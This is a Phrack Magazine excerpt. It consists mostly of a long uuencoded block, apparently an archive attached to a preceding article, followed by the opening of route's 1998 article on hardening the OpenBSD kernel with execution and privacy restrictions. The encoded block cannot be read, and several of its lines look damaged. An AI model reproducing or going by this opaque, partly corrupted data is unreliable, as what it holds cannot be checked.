M9[=6X5J(/7%5OT[F.\$JW,P[;7\$!]:QQAK<MQ6\>-W7!M!+;-]EYQ'%]EN]CF
M_G`JMIDX=OV[92CJVR7N>U4;3N5\[:J4]!]<7L'MK6-.QW;RFMR+*7;\$7<:
MYVU=SMM.U+:*BAQ)Z7;%G8AMWM55KDF>C&U5]3B.TNV\$VSZ:[X3;/X[BFN0)

```

MW6_;;_]9.*:Z-V->VBIH<1^EVPYW.>5LKMFt+<.#'5>&P#1PX*1RV@0,GA<,V
M<."D<-@&#IP4#MO'@9/"81LX<%(X;','3@J';># '2>&P#1PX*1RV@0,GA<,V
M<."D<-@&#IP4#MO'@9/"81LX<%(X;','3@J';># '2>&P#1PX*9SJ?/E#Y\O7
MG?%0!<-^;Q2,!^?G07<XG@2??_?9UU)]_ ^EW/W46V<??=/0&D^CUUX%]K3<_
M-Z_U)LY+=XOHM3W2#YT__>G[Z77XXVHZOPU7G9<_F9]>3W\+@U6XWBQ786=]
MLWQ[K]^,M_PHZ&JPTC]]&E[/%W;S</-PWUF;G3YT\.'OES?!53CK?/[=ZR]^
M_.OW>I<O%E?9#NI,Z0B^_.'E?^KCOEHN-OW[;L^ ^I [=]=VW/YJ66'1Z/5W^
M\XG^XYO.!Z]6X7\_A(O+=\'5?+U9S=\;;.+1;"<!8OP;?"J'ZRG=_>WX4?/
M@MYX<A[\%+=GW*3GH)[$- (=IC_'8:*=*?1[IEHO(H[Z^!/GCT:IR\,!#[ZI?@
M<KFXG&XZNM;S.UVO-P^S8-#O!J9@BVM;]\FH&PR&_6'0_&Q>:F[PPORL7_P2
M=/YQ^;!:A8O-3#=#X$!6X?3J)OP]YMPO[_\9V,^>1A*#'_?<:QZP(&3P&$
M.' '2.$P#!TX"AVG@P$G@,'T<.'D<IH$#)X' #-' #@)' '8!@Z<!' [3P(&3P#4W
MK=E#, (Z_QN#'_1$X3','3@*' :># '2>'P#1PX"1RF@0,G@<,T<.'D<)@&#IP$
M#M/'@9/'81HX<!(X3','3@*' :># '2>'P#1PX"1RF@0,G@<,T<.'D<)@&#IP$
M#M/'@9/'81HX<!(X3','3@*' :># '2>'P#1PX"1RF@0,G@<,T<.'D<)@&#IP$
M#M/'@9/'81HX<!(X3','3@*' :># '2>'P#1PX"1RF@0,G@<,T<.'D<)@&#IP$
M#M/'@9/'81HX<!(X3','3@*' :># '2>'P#1PX"1RF@0,G@<,T<.'D<)@&#IP$
M#M/'@9/'81HX<!(X3','3@*' :># '2>'P#1PX"1RF@0,G@<,T<.'D<@EI7?/?
M\L'T<.#VQ\6F=:U'W3J=,'T<N/UQD6F18LG_RP/3P(';' ^>N'C$-'+C'PC4R
MK9M%$V:+ '0[<B>"8T"!D\!A&CAP$CCO*C_7'L&!>R1<?.TQ/@7C?AHX<(^#
MXSLBX,!)X#'- '#@)' *:!'R>!PS1PX"1PF'8.G'0.T"!D\!A&CAP$CA,'P=.
M'H=IX,!)X#'- '#@)' *:!'R>!PS1PX"1PF'8.G'0.T"!D\!A&CAP$CA,'P=.
M'H=IX,!)X#'- '#@)' *:!'R>!PS1PX"1PF'8.G'0.T"!D\!A&CAP$CA,'P=.
M'H=IX,!)X#'- '#@)' G&=: [5.;,'T<N/UQKFD\ :P8<N,?"81HX<!(X3','3@*7
M/T_CZ;O@P$E<>V1.'P<.'T"!>ZHXS\/'@9/'<3\-'#@)' -\1'0=. 'H=IX,!)
MX#'- '#@)' *:!'R>!PS1PX"1PF'8.G'0.T"!D\!A&CAP$CA,'P=. 'H=IX,!)
MX#'- '#@)' *:!'R>!PS1PX"1PF'8.G'0.T"!D\!A&CAP$CA,'P=. 'H=IX,!)
MX#'- '#@)' *:!'R>!PS1PX"1PF'8.G'0.T"!D\!A&CAP$CA,'P=. 'H=IX,!)
MX#'- '#@)' *:!'R>!PS1PX"1PF'8.G'0.T"!D\!A&CAP$CA,'P=. 'H=IX,!)
MX/AMX># '2>!X'@8X<!(X3','3@*' :># '2>' :G:?Q]%UPX'[$,:>!'R>!PS1P
MX"1PF'8.G'2.^VG@P$G@^(X(' '2.$P#!TX"AVG@P$G@,'T<.'D<IH$#)X' #
M-'#@)' '8!@Z<!' [3P(&3P&$:.' '2.$P#!TX"AVG@P$G@,'T<.'D<IH$#)X' #
M-'#@)' '8!@Z<!' [3P(&3P&$:.' '2.$P#!TX"AVG@P$G@,'T<.'D<IH$#)X' #
M-'#@)' '8!@Z<!' [3P(&3P&$:.' '2.$P#!TX"Y_U>_MK'-F$:.'#[X_]S&J:!'
M'R=@&D_'' '<.'T"!>[(XW[0*FWCZ+CAP!^(:F;;U,Y_98H'#=R(X_TF%=5MC
M&CAP^^,P#1PX"1RF@0,G@>,[ (N# '2>'P#1PX"1RF@0,G@<,T<.'D<)@&#IP$
M#M/'@9/'81HX<!(X3','3@*' :># '2>'P#1PX"1RF@0,G@<,T<.'D<)@&#IP$
M#M/'@9/'81HX<!(X3','3@*' :># '2>'P#1PX"1RF@0,G@<,T<.'D<)@&#IP$
M#M/'@9/'81HX<!(X3','3@*' :># '2>'P#1PX"1RF@0,G@<,T<.'D<)@&#IP$
M#M/'@9/'81HX<!(X3','3@*' :># '2>'P#1PX"9S_V\+KGMJ$:># '[8_SGG,]
MX^F[X,']BYO6G5@&CAP^^,P#1PX"9QG6M5Y&D_? !0?N0!SG:># '2>'P#1PX
M"1RF@0,G@>^&CAP$CB^(P(.G'0.T"!D\!A&CAP$CA,'P=. 'H=IX,!)X#'-
M'#@)' *:!'R>!PS1PX"1PF'8.G'0.T"!D\!A&CAP$CA,'P=. 'H=IX,!)X#'-
M'#@)' *:!'R>!PS1PX"1PF'8.G'0.T"!D\!A&CAP$CA,'P=. 'H=IX,!)X#'-
M'#@)' *:!'R>!PS1PX"1PF'8.G'0.T"!D\#EG^K$[^4!' ^[13:O=&M/'@=L?
MAVG@P$G@?--XU@PX<(^#\ _3*GSBZ;O@P!V(RU)[Y(H(' '8!@[<4\7Q]%UP
MX"1P/'T7'#@)' -\1'0=. 'H=IX,!)X#'- '#@)' *:!'R>!PS1PX"1PF'8.G'0.
MT"!D\!A&CAP$CA,'P=. 'H=IX,!)X#'- '#@)' *:!'R>!PS1PX"1PF'8.G'0.
MT"!D\!A&CAP$CA,'P=. 'H=IX,!)X#'- '#@)' *:!'R>!PS1PX"1PF'8.G'0.
MT"!D\!A&CAP$CA,'P=. 'H=IX,!)X#'- '#@)' *:!'R>!PS1PX"1PF'8.G'0.
MT"!D\!A&CAP$CA,'P=. 'H=IX,!)X' *F\=O'P8' #-' #@GBS.-XTG8(')#]S@X
M_UDSS>8TM8798H'#=R*X1J;EGKZ+:># '[8K+/:F0.0T<N,<WK?:1\9@&#MS^
MN'VN/6(:.' '[XC'- '#@)W#[?<$<T<.!VQ6$:.' '2.$P#!TX"AVG@P$G@,'T<
M.'D<IH$#)X' #-' #@)' '8!@Z<!' [3P(&3P&$:.' '2.$P#!TX"AVG@P$G@,'T<
M.'D<IH$#)X' #-' #@)' '8!@Z<!' [3P(&3P&$:.' '2.$P#!TX"AVG@P$G@,'T<
M.'D<IH$#)X' #-' #@)' '8!@Z<!' [3P(&3P&$:.' '2.$P#!TX"AVG@P$G@,'T<
M.'D<IH$#)X' #-' #@)' '8!@Z<!' [3P(&3P&$:.' '2.)Z''0Z<!"X_IV$:.' ''
MIO$$#'#@!$RK>Y8UIH$#MS_.?_INQ6D:3]%!' ^Y''=.IX,!)X#'- '#@)7.Z)
M\I@&#MP?=YX6?9B^PC1PX';%\T1<.'D<)@&#IP$#M/'@9/'81HX<!(X3','
M3@*' :># '2>'P#1PX"1RF@0,G@<,T<.'D<)@&#IP$#M/'@9/'81HX<!(X3','
M3@*' :># '2>'P#1PX"1RF@0,G@<,T<.'D<)@&#IP$#M/'@9/'81HX<!(X3','
M3@*' :># '2>'P#1PX"1RF@0,G@<,T<.'D<)@&#IP$CM\6#@Z<!(XG8(')#)X' #
M-'#@)' '\ /PT<.'E<HR?* \_1=<.' .Q/%$>7#@)' #'M<>ZK3$-'+C]<?DK(M6!
M:># '[8_S3.O6W5#- '#@]L?Q'1%PX"1PF'8.G'0.T"!D\!A&CAP$CA,'P=.
M'H=IX,!)X#'- '#@)' *:!'R>!PS1PX"1PF'8.G'0.TUK!U37)'KA60AZW2RL\
M^<KNBL.T5G"89@+3:G"8U@H.TTQ@6@T.TUK!M6=:*Z0,UR': 'A'3#L-A6DDT
MS1A,VXODX%JK[?'G': :51'NF[9-"3\VT@RJ-:96!:36XRJ3;..?F>@&F5=<.T

```

M&MRQF%;!W!6WI><:X=03,:UV2_543&O!-35K10VW)BV;9=MIC7H5_7(IE7#
M;>E4@PT;?+[5-/XU:STD\<RK4F7;/^X4-G=#<:T77;9TS3W[19,4TU,4X6W
M&YJ6Y&8CTRH3N6!:L3S^=J6F%>K=. \$I-:]`)%1^_EZ;MU?JJ?.-.50)4D(_`
M--78M/A`:=4;F1;EIIJ5I&BN%IUHJZU5]DQ37M'<[:I,V](C52%H6G4*>>\T
M-6V/_#[<M&(KB9JVR](LPE5DKWMTY?5^5>*KJ'3EQ4KR3Y4MS1S35&/3W'>5
MLCLV,2W>=!NQ8)JJ-,W=6.6'I;J>S]<KF7'S;5\6NYM64ZQ',JUVP'C?3%,Y
MTU3*V6I:P9D&IBEWK^0(;@IGIJG8M"QWE5^_K\$2):3F'<NJ93PNF>=5*RY;L
MFOZ7-TTEE77JDNS?S#3/Y2VFJ?S.,[\E2@+3TK<;V%:H;(*K-:TXE%=N/?-
MLZ7*F9;DN'(^23M>S=Q<3I//52C=(V=:H'*V>6_CDQ3J6DJW2!7UBR<ALN<
M2EQ1G70KY4.B@V3'26W+F>:\5K8K7"==TPIMX/V<[.2?7W:R<F1-ZYBF2DDN
MP?NQXWU6-P"4N-S<M&(V/ZYI*:G"M+0*BO;%MORE54-3/-RK5B@PH\F^9P#
M%4U3J6EI;NQB6IJ\$>YEFU2B:YB9BJ6EIV?,_EYJ6'CAGFBK:M9-IR7M.HU>;
M9O;JQ`VNTA*ES9Q6PQT9JKNUU+2J17/V8V'ALLTT)Y-5]K.8:?GB5IB66Q7X
MZJ4]YKR?F*9RK>QTGF=:VGPNSJG</HYIV8R8)*EOFIHYV>B9IM+J)*:I.M.R
MDRJ535/NE%5I6BJ*2DW-Q2PKDV>:\DQ+F<GDE8E58YJJ,\$TY=2N8YOF1M;'`;
M+*EI2>\$RT[]B.8V<>>@FA]/-*C'-R8:\$[/7_+/W(R;`L[9PQ*5F:>?GCU*_6
MM/P,/`LSK>&S9DI,2XK125ZZ8Y1KFDK:QJM)K6EEPX5G6MJ%KFE.?J;OE)GF
MY&R6UZYI;G:F1D:FN2.)2NOAS!VEIJ5JE9N6LZJ!:>X;1=,RJ\I,2US,F>:6
M,ZJ":UHF6%;?U`W/\$#7S&B_-*T_'`"6,\VI2-*K*DYCE1Z[VK0LGUI,4ZEI
M:8LZ69P.!C.OC#._C%X43*M[S'6E:4FYH]=YTY),2?Y7;EK:[TE()]8WKFI8-
M6;.<#RHMB;-QP;0X^5*\9UJ2@=D0GR)RICD?=K+<R;;-3'.+YYF63VZ5-\UQ
M)-EEEG_+4W>M.0-W[1R2,XT?Q1PVR-O6EK'7-5GWD].BR4OD_\RTPK;9?V;
MMJ.;[2DE[5:;QFG_9Y5*LS1+'<`R7B8F99YXYOYF^9:6DW>THXD3>MN\<
MY@P=:9D2T]PWE=_J:0<ZIJFLDDEGI9#8M&2[;"3RD\108L^TS.\$D^1S3W)PK
M-4VEE/QFGFE9`F7=4<AAY;[G&EXPS8N2LOJHJK<[Q7+=+2V85EI.J\;;V[YH
MFB]3E6EJBVG*I3G'2KK5,\W%.7V8[._G358!Q[0T]5([7=/R&9&)G_E5>.5-
M"B6F-5\]IKF?Z1Z_[KBIZ':@WZZ)8%F>9<-&TB">:<Z\X\$P/I:8E+#[']`,`].R
M8KE18EI6_'+3TM(Y]2QE^V_E#YR^*C>M@K<]\J95<V;5F_BF5>U85O5:T]06
MTTH*DFZ?=JO;X96FJ>2OF;-#EF%.VJ7863RLU)GFUL^MJ6=:ZEICT_)/WTW+
MF&L28UJN')7MYC9<P9"4W'?'?]QO=\R%OFO.FN^\$NIE5OFAZK4_'I3F9XIK49
M^^\$JBUZ&JZMZ/@-RVW>R=QJ9EG6CTT5YTW);^M!9H4AIMODCAF]:CNC07*AI
MIO)>IA7G-%<0;T3LJ.*;99'M.RM[,XG2;&EJFG>`K:8U* [<7E;F, :50#P94W
M?:UIN6T:F586Q4/'II65H&+G<M.BE&S#M(J#[VY:2=&S*,^6*M/J#E4PK84`
M)X@KFU<<7(5IN["=GW8TK7*+QS--B9A6ODN#5OVCLP7<H^%V2X1<'&9:S185
MIC5^^FY-[&C:MMBE/S#M?<;MKE<MSOSQ>*;5QVZFM128!JX9[A%,.SQ.U#1P
MX(X,AVG@P\$G@,'T<.`D<IH\$#)X'#-'#@)'`"8!@Z<!\[3P(&3P&\$:.`'`2.\$P#
M!TX"AVG@P\$G@,'T<.`D<IH\$#)X'#-'#@)'`"8!@Z<!\[3P(&3P&\$:.`'`2.\$P#
M!TX"AVG@P\$G@,'T<.`D<IH\$#)X'#-'#@)'`"8!@Z<!\[3P(&3P&\$:.`'`2.\$P#
M!TX"5VU:>[^7OZ4`!^X)XRI-JWTH**:`!`[=;5)G6K9W5,'T<N-T"T`"!D\#M
M;%KQZ;N/741PX\$X`=\B<5A>-+V4V"W#@3@2':>#`2>#VN?:XC=EB@`-W(KA]
M[J=M8[88X,"="&Z?[XC4.7?>-?:BV?#1&'=8'(0KUN282K<3;I]..<[*]C7!
M-\$QK'IBV>V!:&IC6.#!M]\`T-#`M<6#:[H\$I:6!:X\`TW6-/TQI%I]EF30,<
MN>,>,V\NTHJEE<9QC2R6...UQ,*?M'IB6!J8U#DS;/3`M#4QK')BV>V!:&IC6
M.#!M]\`T-#`M<6#:[G&H:74!#ARX,ARF@0,G@<,T<.`D<)&#IP\$M/'@9/'
M[6K:MMN`QU_C-`Z[[EC`'1[[XK)O;2"JP@)G/L-IA9P^T<;.*YA6^_L/
M\$F:+\8BX/;NT`M="[(FK^04OQU&ZG7&8ENQ<WQ)'6.-RW-8Q8S=<&X%IL[U7
M&L=7V2ZF)7\$JIIDX&=/V[92CJVR7.2V-\$S+M5,[3JDX]\7M'9C6)NYT3"NO
MR;&4;D?<:9RG=3E/R^)D3*NHR)&4;E?<B9CF745]OZ\]GHQI5?4XCM+MA-L^
MDN^\$VS_`^&N/)W0_;;];-Z6X-F)?TRIJ<AREVP UW.N=I!YNV+<"!`U>&PS1P
MX"1PF`8.G`0.T`"!D`!A&CAP\$CA,'P=.`H=IX,!)X#`-'#@)'`*:`!`R>!PS1P
MX"1PF`8.G`0.T`"!D`!A&CAP\$CC5^?*'SI>O.^A"LY`O4F@7ZA@V!^/@`^_
M^^SKK[[_]+N?.HOLXV\ZX\`Y>?3ZZ\`^UAO;UT/EOG2WB%[;(_W0^=.?OI]>
MAS^NIO/;<-5Y^9/YZ?7TMS!8A>O-<A5VUC?+M_?ZS7C+CX)N5_`G?_HTO)XO
M[.;AYN&^LS8[?>@`PM\O;X*K<-;Y_+O77_SXU^_U+E\LKK(=U)G2\$7SYP\O_
MU,=]M5QL>O?>GGU/;__JNV]__"VQZ/0GPUYP/AD,=&T_`&RYN+Q]6,^7BV?!
M^`P4_&3J4"3U2TFV(0;CG@`]>!,&=%T\$4P75\%ZH_`<KJYT<7^;3S>;:JK_
M<+M9!\LWF^E\5X%L]7R+MCHO>Y?K"]UP^B/9L'G\`#&[+>^N>@LW^J/IQOS
MMMEL\W89/'M&XVZ_6,BL-+W)R)1F/;V[O]5(L^;;W?"!IOYF_M:PE2Z;/O2;
MN2[-VVF^1*^ZSX.W-W/=U.8SL_`K;X+512>\#._>_A:M@`V`VW=BRC(;=NK)T
M]5NZ+#?SZYL7LU7XWP_AXO*=:90-_/ (L^.+W^W`UOPL7F\`D1'2L^6(3KA;3
MVV"QG*_#X#I<A*OI1A_PS3O[>?7R[OZB\Z`W`M;+!]W2IK7>3E=ZS[4NT5CU
M2KHP+=`DO&L[?;-<:M)J%=Y: MJ[,FS!X6.N7NLI30UY=AKFF>A[HKK@-I[H-
MW\XW-[HT^HCWTY6NR\-%YW:Z`NZ65^&MV>MN>GFC&_3,-I\$:U!5H.+#)\]7&

ME' ^6&] 6#Y<;W<ZF3 (OE) HPR0%?^=KG\=; ZX-H4P [9`UY] 5<[S1_\V"23! ?^
M=KD (GP<7G?DFF-[?A) /5VM1I' J70JWY2-UVR\ [&J*UE_: !/I [?SV-KA?+7^;
M7X59-I6VD/[H<JI; T; QM?ISIUC4=Y990E\ SX85M>5_/65.QML/XU?&MSNU=;
MI. [8YM/%! [?SNWG<<: 9 (Z [NI+N3Z?OZK22# [UD@%?_F [/LRU/N; %LX] U>8) +
M[:; NYG48+J) 6M3VH_ [OHZ): .LFNZMKTV- (>K+LAX?#Y) E`^S++X*-V; 0NXX*
MH, &K\`ZY, NJ9I@G-\$*` [Q] 1 ['6J3=))O) (YK.V"8HQO) HC%B%=YI (X, WT_7\
M4E?MG6F; 27] 25Z11UR; 2I4X"W=RZ.,] -G>?6JE4XT^-+<+> <K^=O; FUNW>AT
MT@>V; A?, C@RUK7O1, </:_` *UO+_1F178"NG^G=KN4K5%&O1&49' N [JVP TTA7
M.PSI/`^] W(E' PVF: 6U: RG[[[X85)' YV\$=A0] " [[213+5TBGY9FHK8_; 1A1F<
M#^L* TQO8W-GH8Z [G-A/OM! _&J*OYE5\$M>+M<_6JZ+CZ>^6C], -_8@U1D^? I6
MBW9] LTD' \$UO\$' V_L6#0: 36I+I (: #J' G274V] ; G42ZPZ_>K#=#] #: <_FKZ: #V_
MUH.B.; 8IUOW\ \E?=4P_WR: B8=*\$YMDD\ \ [=8FI&UGC' N^D [.SS6] MAH, K) Y
M_<9. UO<FE4SE=?+8H_SY: G[_YT2P\ @ \$H^=04.1 [F=6M<=-; !S; O [I?Y\$) V<B
MHNFS<=UHK100YG2FF' 5AH_, GFA! NXC%1-\1Z>:=[Q.1ZDKU1&CW7?: BGLG@F
MFSY<S9?: =YMLT^"O?WFE:; =ZBC; SOY7LO%=7H, %Y-+G&H] ^J [(CQY+F\ MQ. 7
M&=2OM/; ZCT4ZDSO2V=&F.ZB; 1K79-E&^6D1UN5F: _#13X>+*90+: 3-A: \BA;
MTGPR^1OWOID? [W67VF\$A<4JG; FQ5\ &X>WEXYBP73\$J.ZEAB>] R=N2_CS0) R\
M>0Q9+G2' K4*=' [J1=8&Z9@. SN2Z) 'E+>+!; J5=\$] N] *BKJW>WO. CHDI95<&X+
M-1 [5K7WTJ&WSY>WRX?; *9) @ [X.E: !]] &Q=LLKT/3; WI&U_-T5#"=DM] ^%) 7.
M=%LL<4324] :MF: 7T*E%OJ6?Z:] /G\ [_K] #1*] 6L; :CB*IU' =/&_7N?' E: KJ9
M6KVB=EQ' @YGIK3LS8) MI41] \$?^XN5FYT675#F1JLH\FJ6 [?\$&' ;/; ?J\7-L\
M-6N<- \O?M! A1=2Y7 [^YU@ZRF] SIMS52E9; F] 7J [TZ' NWC I=#F_`^\$=N. G [K\$
M=U-= 'I, Z<4J; AEM' (T*TN! C4#31#, P [I, NDFGEYI^ ^P8FXRKTZ@4RX>-GC;;
MD' C], -5' W831Y' 1M5D=QMD7; /`_T=+HP [: BGAN7J2JM@YF#] R5EP\4&D8 [PZ
M [=-Z-X-) +\J?FW<Z' Z: W[] ; 1^L!, #N: HBW@D-) -JV@RF\$9 [' @ ["9O, T. T] M5
M. +UZ%_RZ6+Y=7' ONGIT%) KV3%8: Q-?K) 3A) U0^! @U+? I8VMCT (EF^J?UK9EZ
MM%) QFA3Z+D [: : \$8WRSC3NG:] M#&>3>_ .@M=V<' 3V646] IT_J: @HU&*IH7- [H
M: <; , 5AH\> [B-ZA6EU=2LZUXD. L7Y?1; \, +4# ILUA [<&E7KR; K: -3\$; -HO3\$F
M3K2) *]. RR1K&KC7&=47JC6R2N\8GM36G' _J8=HRSZ5I<'EQ\8#, H7B5GF; ?6
M"WNOD9\; (^+EOVVIR: 2VI=1X4K+J, +-7NN9YU; UX%B' CQ-= %C\8EJX (Y=W (&
MRUEXJ4NC\SP; ; W5W1IUIILJE?-Y/TQ\ IFTQ>_Q?FGESSK9%9: F] /7S<WR*II.
M%FY31\$<P+6) *) K! = (QQPHP/_=I4U8Q6X>7#*G1. #4RO#>J: IS_LV41RYPZ;
M&NOE; &- .ZE [H%; !NK+A<\: "L__MM' BT%YG=F/6K6. 780-068;] [I `?O^8: 53
M09<NF?VOY M=FGVAHJAL\$^OU^O"R [NPOM'D*W^GII3DFG# [I) %GJFCR9-. RPO
M9G, SL\^GM^; `NM) 7R\L' LU19?VR&S*EI8MU<EWIH2L?9= [: K>OVZ4; MW/K) C
MT5^2T] OU\ C8^Q3-5C5IL\$: [7WOI&K] #7YHSD=FF&0+LF, /OJD] 9WL1\$7G>=!
M='+VWP] S\ [%=AM7.] ; WQV&; -W7PQOS/-<*= /O&W6) .?>9O*^"DU: W. FI6S?8
M\O [6+. #UD' -C+MR8] <Y4K [S6R2G'E>X [/8\$ \$Z: E! Y/A@4C=I] (; G-EO6-W. K
MT&9Y-7T7S9CQ (&WJ9#^*=8JN\$) A! QJ1. F%TKL. /XZL&N (U?VC%2GW^+A [HTN
MBBY' ?UR7M?I, PF9 (?&TB7K?KSKZ_G5 [: \$U"G%?ZLE5FZ) WE) : MLRZ (S/3F_T
M\!>APM\O=6/J<<D, .W-S' <>F; : ^V<7K=: *31YPS: @?!C/>/HU%C?Z_ \$B7E6L
M, T' T' 0; IW%4LD2/). O-9&Q6U+': YNUE4D% [4: -N, .Z9) 9\$NBTX4L\! (^EAG
MWRI>X3B#5] R*>B! R, WD=IT] <C. CX6FM3' &M/MQ] /FWM<; NSI_Q [E<F/-1<)
M-&5^JB>G>3P*?/0L. _57LL; 1+/ 'SY] _] <7YY!>SU#NORH&NNT-R\$?%` LY9_
MK<] AP^`ONAE-*WP<W&PV] Q]] ^*%9"Y [-U@] GX=7#A__G. EQ^>! 7M=7: SN; M]
M%&R&] 67K1E/) S__SV[] .NK\8: >J+%F__ /Q=Z\$' T?>?&X&U"N=I, ^"; K=: M6?/
MG (\F>QJ! 7T87' SY+4NK [E6G+. STR73\+>OUQ/ /GIG97F&EC?=\$CPHF=< *] X
M1VRE3] &_Z>BJQJ^_#CH3K<E&K\ [#M_. KS8T&Q3] >3OTN?UU: 9 (TZ3XO\//A?
MR] NSH/=1\#K49=3SPLI<SPELZ) I /JF='M\WBS74=: B] M1G-I4! 4OTU7>\^#E
ME1YUEHL7_SM<WX; OG@?=\TGW6='?U%\` 0ZB=/SFN_] U/C9=/JK: O. MN_XTV
M_. ^A.>KM3\$] + 'P??: =DO; Y9ZW? []] . 'VX^! _Z<71QEZV?' VYW&QL500' HZJ5
MS+#7 [: ; PO^B1Y (VYEJ73XJ49U>Q) 67>0G, <W2848V! MKH%YG] J+7! Z>"1073
M<GI=H44>U+9T/YK\ * _M2UU! 57J' L3E2&^"P [O7MGQIM! \V:) .8. NYO3&>C2P
MKP] N%HT: 9#74*\G/?OA, BZR7, B8/S\>Z; OUNW7ID?! ZM' W [^X=5G-@^' YU4C
M5=?=7F] N?OY (GX2DBZ<?0COC+: ZFV=KJ=3Q+/C/KY: HDC, B3: "40#ZEOW[X]
M^W7Y9KZ: GETNS_YV_V&R%OQP-; O\, # [\V>; WC4GO?MT, .AY\$, ^C/KS_ [2Z2:
MJFJ1KKO] Z\N; 13@W5S8^73U<ZL' >#*_#JM; IG>L\$379-Y' \$3QNP^' /1W&%OC
M8M>DS\$"?) D: O#TX9C1JE!>TM] &HNO#K3_5YYY: 7; BR [YC@H6_6^] 3' B72 [?Z
MJTJCR7@0] <5?7@ [.35] T: Y, BV?ZU/ I%9F&L#G] U. 'Z [" : * [KC: JZO: ^ZXW3?
ME\ \$WYD397%TP\X6>^I: K=_', =_>PB) =N>DJ8) !>] F_1. ? `B=#WK* .] >UL* \/
M [IUN? *W6CG. ?AGK5] OJ=7EG?K?7Z0^>CK<' _T">%>L8W33XXU^760VY=D_> [
MT>+B] >L?] <)'] W3] 3) -L_ [6>8W\ /OOGJ\Z^" ?PE>V\7_2W>E:] 9N^ES?W(_1
MU?O57AGY1B\?S"6D3^+=NQ+^3) \TK2^>F>RJO%8>' ; 3; 5SGYWZS, Q8*S1; CY

M\[/] <W=[?S&_O/[PU9?HO>R:B5]WK>'75'X[J[@T,Q\ -HJGW]XU?GPU^BBWQU
MA4EV>+V9+]8FZ3Y?/ES?3M>-LB[9V57_HR3I3)M\OYI>ZDP,S1IKN,,, \$M/[
M9F(=ZL\$T>GWX&LLL]))"Z_H-:L?&X3"Z/^]/,T,S,@X&>Y]#]/5_@E]9Z(T&
M*OW*@LYI/6/-?P]>?F2RW)RN72ZODJO<WOTRG6F]Y)ZJZ;' "X8;WIM?\PXT'
M8WTJ,3!>Z?.\@5D5%KXKTN^=FZ)\^*_!Y]'AUNDE_?CF2GS-R-PEBZY/>O?0
MWIFBVF7[L%]QXZY),;KGR1`?3G5+FQ-*>]7%W%((IM=3<T<]^BBZ4Z.;*/JV
M0]!-KFV9?>[#U3-SJ;[<L28%4>F*+;I4&]W3F\$3GM+;*YIQ_%9K[L_8>O[U\$
M;2[U19OJ+!Y77+MK<'B]^+?=\: \?ZK2N&"N;8,91<_X<_.=&)U1_[[>7,V7
M9S?_89?4Y=>KFG!'4>M<ZO-+MPW^RU3](GK[7\WK_YJNWET\^UAG;7>X_]&&
M46-8[._+U7^9YH^/<FGIW4G%B4X3>C]J(WN#_N(#.U-,]N^X7G1M[1_-/'@?
MB%[IC(-)=Y"UKVG'G>_F&JJBNM8C9A*9:UX&0\$G%;=/FO#&DZBFEC?>.]6
MBV#C07RGQMPGO/A@9NZWZ'Y^WGT^>6YR=G'Q+/CDDV!BND?OL'_3CD=1,^S?
M0='Z/*J\.;VX^&#^B?HXF/_[]V/]Y[_]FRFB=G:OENW9(O:CQK\'=/_E\$R?E
M]8]1PI^K_3(A^NISIU'1Z6+N\^*"HK_WSV7,]X%_I(3725U4L5QHUN8H:ZY_[
M-KE=G9T/6X#\$-P0K1A)SZC#8'SZ:')A9IK%&PZ&CU?-@=J"FHT%4Y=DGNI[_
M\1_SBV?_TM7(\XHO'39"]J***)LD_TFG_'U:!%R\%.2?YX%1[5?_;_Y@I<]E7.
MI@5641NL!)MM;!-:G;;LY^^DZCZ!V6B7NV.=IA!]S?0'BR^Z;QW9D;+;N5=
MPTK'_6YOL/=Z;]@?G1>@J^"30!GP<+Q_)_7ZWK6"JH&ZU^_MO2X9=OT6^<=!
M:34X]YLB=6____LW0/7.(-)OWCEQ+##_OT^2'-,SR\?[3ZWV(&_.?YY6',,
M_>:(W5V9EAA47+!I@AWT\]/(?N>+`_V?Y/GB4)]Y%\X7/RV<+_Z8?3'AF^B[
M\$/;2^VB?,\:1;K_1N-?5IYSGO>(9TK`[C,\8==Y4W/AHPNE/TK3YRMP;M=\+
M3+Z*)O^Z]OPX6ZZ6/QY7?9-C_7EC=[#5/TJ?&%%.3,WEXXIO(38I32^[O*]/
M></5//H:OW.N>Q:\#L-@>-8[ZYE/XLO`=H2Q7_*:+]+O\$9EKFI.*B]E-"M.-
MFGCK66`]9C*)ZK3[6>'6[C@J7EMG@5N.-HSRI.EYVA;:(#J#W3(E5D.B<ZJ^
M_1<V\0+R>?"FJ___?>V[6;7_[->-MJ<AN[>YZU;M-SP&W,^*K&WSXQ\VN_XG)[
M\$]+X/*IY<L(6_-^S<#F[^"Y5[/KP-H9:]L!QE'U]^@Z%OT487C\ \E_T7W4
MU>>4<2D/Z2)+ 'T:-D"PNQME"^)/>]M.);?3^@2T0G4SVHA9XT]7KZ6Q%;?X)
MA1ZYS;_.,5]^787QMXG3@==>>0O,R#,P% ^/W/GQ\)>--+SF\;J@7^O!)(;8M
M\[/;QDR^>SDP27IAJ?F*^?_<O_V)^Z'WRB;+):.IJ)X_;M()=%=5.55Q+;W+T
MT61\8!?94YZQ<[[_MU_L:J_VE&\;;Q2UR=_^[_VMSRJWR"JWY93G6V4^^J&
MVT?*[: -N51^I;@M]U(M:X\`^4E%+)'VD#NRCX7G4)H?WT3"^IK%W'T4W5>;
M?0=2=*0]_;?_&)LQ<#3::\J/>/'%B\.&0#U*3QI<[W(N=_7.*[ZXV.APW:@1
M#IMDHV_5']JUICR#2=RUP4&K2#T4'#861%]_[^URXV#;98\M!XNO6.R=/1;2
M'WG?]VEXV6,+M-<?[GG98PLX=TEBO\L>]<?HG_LMLNVRQQ;:Q&^*W2Y[;&'G
MKDCL>=ECRT&&?G-LN^RQA3;PFZ/Q98\MV'[4\$MX8L..%CV2K/_WIB^]>=?ZO
*_Q^B7>1'!GX9''-L
`

end

<-->

----[EOF

---[Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 06 of 12

-----[The Belt And Suspenders Approach (September 1998)

-----[route|daemon9 <route@infonexus.com>

----[Introduction and Impetus

The OpenBSD project team. Purveyors of a FREE, multi-platform 4.4BSD-based UNIX-like operating system. Their efforts place emphasis on portability, standardization, correctness, security, and cryptography. And OpenBSD really concentrates on those last two. OpenBSD is simply the best choice for multi-user environments.

It is the flawed assumption that security mechanisms can be adequately provided in layers above the operating system. A perfect security application cannot make up for flawed or absent security features within the OS kernel.

It is the classic example of building a castle on a swamp. You can build a strong fortress, but it makes no difference if it slowly sinks into the ground. In this article, we retrofit the OpenBSD kernel with some additional security.

This article is about cracking the whip. It's a prime example of security being (possibly) inconvenient. But by making things potentially a bit more difficult for normal users, we hope to severely hamper would-be attackers. Two effective ways of doing this are through limited program execution via path and credential checks and privacy restrictions.

